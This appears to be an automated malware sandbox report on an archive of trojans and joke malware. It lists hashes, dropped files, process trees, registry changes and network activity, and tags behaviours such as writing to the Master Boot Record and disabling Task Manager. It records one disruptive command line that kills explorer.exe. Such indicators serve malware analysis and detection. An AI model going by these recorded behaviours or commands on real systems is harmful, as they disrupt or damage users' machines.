SHA1 1d7743263a25661055549dd913ec5c654fa99ffd
SHA256 9780bbabc18e0a4cf00c87ffe12c36804fd1180c7e62ceb3f244820224dd15b2
SHA512 cedcd3b4ea56f4495e5f0baf20795c1296130f65d5512b4a7adabd1cfc46c2af0f94e5678a74b9fc181371d2e34239bc1d833f908e599f7389ee53cd55a8b746

\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

MD5 833619a4c9e8c808f092bf477af62618
SHA1 b4a0efa26f790e991cb17542c8e6aeb5030d1ebf
SHA256 92a284981c7ca33f1af45ce61738479fbcbb5a4111f5498e2cb54931c8a36c76
SHA512 4f231fc16339d568b5cf9353133aeae835eb262dab68bc80d92f37b43df64dce4fae0e913cbaa3bb61351a759aeecf9d280bc5779b0853c980559a654d6cca11

C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe

MD5 382430dd7eae8945921b7feab37ed36b
SHA1 c95ddaebe2ae8fbcb361f3bf080d95a7bb5bf128
SHA256 70e5e902d0ac7534838b743c899f484fe10766aefacc6df697219387a8e3d06b
SHA512 26abc02bde77f0b94613edc32e0843ac71a0a8f3d8ba01cb94a42c047d0be7befef52a81984e9a0fa867400082a8905e7a63aaaf85fa32a03d27f7bc6a548c3b

memory/2648-42-0x0000000000490000-0x0000000000496000-memory.dmp

C:\Windows\302746537.exe

MD5 8703ff2e53c6fd3bc91294ef9204baca
SHA1 3dbb8f7f5dfe6b235486ab867a2844b1c2143733
SHA256 3028a2b0e95143a4caa9bcd6ae794958e7469a20c6e673da067958cbf4310035
SHA512 d5eb8a07457a78f9acd0f81d2f58bbf64b52183318b87c353a590cd2a3ac3a6ec9c1452bd52306c7cf99f19b6a897b16ceb8289a7d008c5ce3b07eda9b871204

memory/2592-49-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\2D76.tmp\302746537.bat

MD5 7d8beb22dfcfacbbc2609f88a41c1458
SHA1 52ec2b10489736b963d39a9f84b66bafbf15685f
SHA256 4aa9ed4b38514f117e6e4f326cb0a1be7f7b96199e21305e2bd6dce289d7baa2
SHA512 a26cf9168cf7450435a9fe8942445511f6fda1087db52bd73e335d6f5b544fc892999019d9291d9dcc60c3656de49688f6d63282c97706e2db286f988e44fd94

\??\c:\windows\comctl32.ocx

MD5 821511549e2aaf29889c7b812674d59b
SHA1 3b2fd80f634a3d62277e0508bedca9aae0c5a0d6
SHA256 f59cdf89f0f522ce3662e09fa847bca9b277b006c415dcc0029b416c347db9c4
SHA512 8b2e805b916e5fbfcccb0f4189372aea006789b3847b51018075187135e9b5db9098f704c1932623f356db0ee327e1539a9bf3729947e92844a26db46555e8cd

\??\c:\windows\mscomctl.ocx

MD5 714cf24fc19a20ae0dc701b48ded2cf6
SHA1 d904d2fa7639c38ffb6e69f1ef779ca1001b8c18
SHA256 09f126e65d90026c3f659ff41b1287671b8cc1aa16240fc75dae91079a6b9712
SHA512 d375fd9b509e58c43355263753634368fa711f02a2235f31f7fa420d1ff77504d9a29bb70ae31c87671d50bd75d6b459379a1550907fbe5c37c60da835c60bc1

C:\Windows\antivirus-platinum.exe

MD5 cd1800322ccfc425014a8394b01a4b3d
SHA1 171073975effde1c712dfd86309457fd457aed33
SHA256 8115de4ad0b7e589852f521eb4260c127f8afeaa3b0021bfc98e4928a4929ac0
SHA512 92c22c025fd3a61979fa718bf2e89a86e51bf7e69c421a9534fbf9c2d5b23b7a9224d0e9f3e0501992038837015214d1ef73b532a68b7d19de559c9ab9c6e5f6

memory/2528-68-0x0000000000130000-0x000000000013D000-memory.dmp

memory/2528-70-0x0000000000130000-0x000000000013D000-memory.dmp

memory/2632-72-0x0000000000400000-0x000000000040D000-memory.dmp

memory/2592-73-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe

MD5 c7e9746b1b039b8bd1106bca3038c38f
SHA1 cb93ac887876bafe39c5f9aa64970d5e747fb191
SHA256 b1369bd254d96f7966047ad4be06103830136629590182d49e5cb8680529ebd4
SHA512 cf5d688f1aec8ec65c1cb91d367da9a96911640c695d5c2d023836ef11e374ff158c152b4b6207e8fcdb5ccf0eed79741e080f1cbc915fe0af3dacd624525724

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

MD5 979b597855746aee2f30ee74f9d7c163
SHA1 56dd0b4bbc5ddcc3fab99ea2e8f781d8b7c7c05f
SHA256 dc6ee4edbbbe1116a200b928f2b62dbc55594a9f79152bbb0076161a58546c11
SHA512 6b7411b23fa0be275070bb08edb0293f7c5c00fffb7746afe0b4368e0a45e4c2743d3ef86417a610021577f70253bb0ca1c5d3398ac93d22d6672d2b16e0ec4e

memory/1308-80-0x0000000000050000-0x0000000000058000-memory.dmp

memory/884-81-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1308-82-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/3004-83-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/3004-84-0x0000000000340000-0x0000000000380000-memory.dmp

memory/884-85-0x0000000000210000-0x0000000000250000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe

MD5 ebfbd478a8cfc0fb645b8559973690cb
SHA1 88ec8dff51b53beed128582bcaf86ea81f684a0f
SHA256 62c99ea25fea9d3e5917114ada0406a333b1506697bd2bc28e9d676655232a59
SHA512 30c5dbaf97d3b43edca2e0c9f98fe3e45a2b508880021ce624145549b295c46f4468118c2f5051be402d4eeb3d9791a5eb27f1cc242b3a639b8318be49315f82

memory/1612-117-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2120-118-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1612-119-0x0000000001E70000-0x0000000001EB0000-memory.dmp

memory/1636-120-0x0000000004890000-0x00000000048D0000-memory.dmp

memory/2248-121-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2272-122-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2264-123-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1392-124-0x00000000743F0000-0x0000000074ADE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe

MD5 3e20f1b0a3bb4c8608844e47d92d2121
SHA1 e2f84e46d4e63cbd091feeca686814752519596e
SHA256 a23284c86e2b640fce315419157db159355efa61f0ed1b70e716584aa77b6793
SHA512 1047304be5dcca4b71fed0c76db3bd4c42fcd2b163b6d93dc27be16fe90579d6a8c40655e76132b398ad430dadf7238267342adc2206025c9a77998c4214dd6b

memory/2272-102-0x0000000000030000-0x0000000000040000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe

MD5 b2eca909a91e1946457a0b36eaf90930
SHA1 3200c4e4d0d4ece2b2aadb6939be59b91954bcfa
SHA256 0b6c0af51cde971b3e5f8aa204f8205418ab8c180b79a5ac1c11a6e0676f0f7c
SHA512 607d20e4a46932c7f4d9609ef9451e2303cd79e7c4778fe03f444e7dc800d6de7537fd2648c7c476b9f098588dc447e8c39d8b21cd528d002dfa513a19c6ebbf

memory/1028-98-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2288-125-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2432-126-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2284-127-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1968-128-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/384-129-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2316-130-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1556-131-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1636-132-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/672-133-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2648-134-0x0000000000490000-0x0000000000496000-memory.dmp

memory/1968-135-0x00000000045C0000-0x0000000004600000-memory.dmp

memory/672-136-0x0000000004610000-0x0000000004650000-memory.dmp

memory/2272-137-0x00000000046E0000-0x0000000004720000-memory.dmp

memory/1028-139-0x0000000002080000-0x00000000020C0000-memory.dmp

memory/2632-142-0x0000000000400000-0x000000000040D000-memory.dmp

memory/1556-141-0x00000000005D0000-0x0000000000610000-memory.dmp

memory/884-143-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2248-144-0x0000000000480000-0x00000000004C0000-memory.dmp

memory/1308-140-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2120-145-0x0000000001ED0000-0x0000000001F10000-memory.dmp

memory/2316-138-0x0000000000450000-0x0000000000490000-memory.dmp

memory/2432-146-0x0000000004630000-0x0000000004670000-memory.dmp

memory/3004-147-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/3004-150-0x0000000000340000-0x0000000000380000-memory.dmp

memory/2272-151-0x00000000046E0000-0x0000000004720000-memory.dmp

memory/2248-154-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2120-156-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1612-155-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1636-153-0x0000000004890000-0x00000000048D0000-memory.dmp

memory/1028-152-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2272-158-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2264-159-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2288-161-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2432-162-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1392-160-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1968-164-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/384-165-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2316-166-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1636-167-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/2284-163-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1612-157-0x0000000001E70000-0x0000000001EB0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\4otjesjty.mof

MD5 7fad92afda308dca8acfc6ff45c80c24
SHA1 a7fa35e7f90f772fc943c2e940737a48b654c295
SHA256 76e19416eb826a27bdcf626c3877cf7812bbe9b62cc2ccc5c2f65461d644246f
SHA512 49eed1e1197401cb856064bf7fdbd9f3bc57f3c864d47f509346d44eed3b54757d8c6cdb6254990d21291065f0762d2a1588d09e43c5728f77a420f6a8dcd6ea

memory/672-176-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1556-172-0x00000000743F0000-0x0000000074ADE000-memory.dmp

memory/1676-185-0x0000000000400000-0x000000000040E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

MD5 a50c74202e2f4d938babf556b9f54725
SHA1 6810db1606cac6ab19edbaa49620ba197ef7bc64
SHA256 937ccad21c0271169104539269b5f3faa43d6ca2e36d676fbf9b6fa6df41b40a
SHA512 28c717b84fc9b94a3cef76ff36de52a7d928d164daab87387efe3e87f934e4e42b62da3c75d7c06ec2f93c7c2903428ad768c0199d48ecea18551becc7ba21a9

C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe

MD5 8edb51ed1d3241c4f026bb0d5de20f89
SHA1 9453b850f98062c0b3955a58c295a662be605efb
SHA256 c26fc73c59765b9f8df9cf66f6bb81ce099097804a9f0bd4660f3f80e0639f47
SHA512 0217f034da40cbe924ee8e73b024a3c5d86de1b7b12881d1b2909da2aba39661526b712acf9b390d000940ffbf3746e65a5687b7782635c24e844b36560c59f2

C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe

MD5 05ad3f85b73e5ff86504f8dcc55b5d42
SHA1 927d4554328cc6d767a566c3c6cb54c16d58857a
SHA256 124cf5ca90e7aaede685fe0cda72b6a63b80583d2d5ec04d5baeb4a1851c48af
SHA512 6fda7808e0b96caf3a1ff35734fec63f1e78cca6ae0abaa54fd5dd7bca6299a587b8f2c455b9385d7cf9b9cd9b74edbab1e37d8f98e8777059b3c3e2964feb18

C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe

MD5 83726a8767faba50ea1b5f31afef5938
SHA1 70165dcc633f3390d98ae08c731113b007069737
SHA256 e2636cb5e2b2ff10b27e3050e88801620494654017751d41e5a0725a5ce3b6c4
SHA512 e190e655c4df6ed6b79a8bff97c56a8c736753ce86f181f1fb15a4c57914bec0f1b1a3c8736e49a715191f2e6637a67be2a58354187365894c5d846518d7e301

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

MD5 6a4853cd0584dc90067e15afb43c4962
SHA1 ae59bbb123e98dc8379d08887f83d7e52b1b47fc
SHA256 ccb9502bf8ba5becf8b758ca04a5625c30b79e2d10d2677cc43ae4253e1288ec
SHA512 feb223e0de9bd64e32dc4f3227e175b58196b5e614bca8c2df0bbca2442a564e39d66bcd465154149dc7ebbd3e1ca644ed09d9a9174b52236c76e7388cb9d996

\Users\Admin\AppData\Local\Temp\nsd60D6.tmp\GetVersion.dll

MD5 dc9562578490df8bc464071f125bfc19
SHA1 56301a36ae4e3f92883f89f86b5d04da1e52770d
SHA256 0351fe33a6eb13417437c1baaee248442fb1ecc2c65940c9996bcda574677c3f
SHA512 9242f8e8ece707874ef61680cbfcba7fc810ec3a03d2cb2e803da59cc9c82badd71be0e76275574bc0c44cdfcef9b6db4e917ca8eb5391c5ae4b37e226b0c321

\Users\Admin\AppData\Local\Temp\nsd60D6.tmp\LangDLL.dll

MD5 de3558ce305e32f742ff25b697407fec
SHA1 d55c50c546001421647f2e91780c324dbb8d6ebb
SHA256 98160b4ebb4870f64b13a45f5384b693614ae5ca1b5243edf461ca0b5a6d479a
SHA512 7081654001cba9263e6fb8d5b8570ba29a3de89621f52524aa7941ba9e6dfd963e5ef7b073f193b9df70300af04d7f72f93d0241d8c70ccdbecfd9092e166cac

memory/2516-234-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\6171.tmp\VirusCan.bat

MD5 55dcde25c122c782757989a3c275fea2
SHA1 a669581a58e6aa602cbdaf690e3e365fa4de570f
SHA256 3aad2d3f7f3c5ef2676e33cc3be636f1929cf106707e88068ed8eee1ecfcb916
SHA512 b9cd00ffc8e42d2cd1f37a3312655c12423c8fb145910ee2ac8abf0d06b5942b5754fdd60d6b94a125c3bf3a1e7818eded0bfe662dc3992dac10d9df3fcaa5f2

memory/1316-243-0x0000000000400000-0x000000000043E000-memory.dmp

Analysis: behavioral24

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win10v2004-20240226-en

Max time kernel

139s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe"

Signatures

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000_Classes\Local Settings C:\Windows\SysWOW64\cmd.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe"

C:\Windows\SysWOW64\cmd.exe

/c ""C:\Users\Admin\AppData\Local\Temp\240618875.bat" "

C:\Windows\SysWOW64\cscript.exe

cscript [regtaskmgr.vbs]

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 107.211.222.173.in-addr.arpa udp
US 8.8.8.8:53 206.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 2.173.189.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\240618875.bat

MD5 826431d3df1879172a96555d7ba0aeef
SHA1 f56ff5d3c06f78f53884071d1357ba79ee85b96e
SHA256 e22b0b5185247a3ca52cb7cd6a271efced0d1d6e8910294f7131241f5d58b7ee
SHA512 e995b82e1716ab7f7ea8d810a441ce2b68e570c0e31386670e6c193a11131e5274747205a3245424b7d71b7b0745313bd522eff452b175c80425fbf5ef2bbc52

memory/4216-2-0x0000000000400000-0x0000000000407000-memory.dmp

Analysis: behavioral28

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win10v2004-20240226-en

Max time kernel

150s

Max time network

158s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe"

Signatures

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\MuiCache C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe"

C:\Windows\SysWOW64\cmd.exe

/c ""C:\Users\Admin\AppData\Local\Temp\240616234.bat" "

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM explorer.exe

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe

"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca

Network

Country Destination Domain Proto
US 138.91.171.81:80 tcp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 100.5.17.2.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 210.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 42.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 206.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 84.65.42.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\240616234.bat

MD5 2e90ad588f5329388216c652eebd4a33
SHA1 baa4f47ee4f195d854f8db905fcbb2539556f0e0
SHA256 6f88a1b6fb5975e2e49b33e7c9dabb593b18b2e7254bbe41263a9acc7294c2ac
SHA512 b793ffcfca291e52855dd92ce1f948ce8b6f6bfe0e9a878cf7c37630b621eb417fe8b720bea8f088bec98b26c6e379bb1212d8518bb6ebed8b9840e2f9f9f778

memory/5000-2-0x0000000000400000-0x0000000000407000-memory.dmp

Analysis: behavioral29

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:24

Platform

win7-20240221-en

Max time kernel

6s

Max time network

13s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe"

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x1

Network

N/A

Files

memory/2172-0-0x0000000000400000-0x0000000000412000-memory.dmp

memory/2984-1-0x0000000002D90000-0x0000000002D91000-memory.dmp

memory/2860-2-0x0000000002AB0000-0x0000000002AB1000-memory.dmp

Analysis: behavioral30

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:25

Platform

win10v2004-20240226-en

Max time kernel

11s

Max time network

89s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "117" C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" C:\Windows\system32\LogonUI.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" C:\Windows\system32\LogonUI.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\LogonUI.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9RESET-helper.exe"

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x4 /state0:0xa39b7055 /state1:0x41c64e6d

Network

Country Destination Domain Proto
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
GB 216.58.212.202:443 tcp
US 13.107.246.64:443 tcp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 11.173.189.20.in-addr.arpa udp

Files

memory/2960-0-0x0000000000400000-0x0000000000412000-memory.dmp

Analysis: behavioral10

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win10v2004-20240226-en

Max time kernel

1s

Max time network

10s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe"

Signatures

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 206.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:27

Platform

win10v2004-20240226-en

Max time kernel

185s

Max time network

198s

Command Line

C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\Trojan.zip

Signatures

N/A

Processes

C:\Windows\Explorer.exe

C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\Trojan.zip

Network

Country Destination Domain Proto
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 107.211.222.173.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 100.5.17.2.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 174.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 33.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 176.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 7.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 209.178.17.96.in-addr.arpa udp

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:24

Platform

win10v2004-20240226-en

Max time kernel

7s

Max time network

22s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe"

Signatures

Disables Task Manager via registry modification

evasion

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
